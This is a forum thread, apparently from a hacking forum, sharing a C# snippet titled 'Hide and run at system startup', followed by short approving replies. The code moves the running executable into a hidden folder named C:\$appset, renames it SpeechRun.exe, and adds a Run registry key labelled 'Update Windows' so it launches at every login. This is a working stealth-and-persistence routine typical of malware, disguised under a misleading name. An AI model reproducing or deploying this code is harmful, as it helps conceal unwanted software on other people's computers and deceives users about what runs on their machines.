Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

Hide and run at system startup

Allows your application to hide and run at system startup !

It will create an invisible directory, change the name and copy it to the invisible directory...
then it will create a new registry key to run on startup

Code
using System;
using System.IO;
using Microsoft.Win32;
using System.Windows.Forms;

namespace Speech__Runtime
{
    public partial class Form1 : Form
    {     
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {         
           
           Directory.CreateDirectory(@"C:\$appset");

           DirectoryInfo dirInfo = new DirectoryInfo(@"C:\$appset\");
           dirInfo.Attributes = FileAttributes.Hidden;

           File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\$appset\SpeechRun.exe");

           RegistryKey regkey;
           string subKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
           regkey = Registry.CurrentUser.CreateSubKey(subKey);
           regkey.SetValue("Update Windows", "C:\\$appset\\SpeechRun.exe");
           regkey.Close();         
        }
    }
}
Interesting, this could have some good uses, hiding files + setting system attribute doesnt seem to do the trick anymore

Great share :D
What is the $ (dollar) doing to the folder?..i know some rootkits use this a prefix for hiding but i cant see how its doing anything in this code snippet ?
I was looking for this, thank you for sharing this tutorial


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by GurkaNov 16, 2020 11:32 AM 2 334 Nov 16, 2020 11:32 AM
Last Post: Gurka
[C#] by WalkirioOct 14, 2018 07:31 PM 4 365 Oct 14, 2018 07:31 PM
Last Post: 0xDEAD10CC
[C#] by gigajewSep 4, 2018 03:45 PM 3 612 Sep 4, 2018 03:45 PM
Last Post: gigajew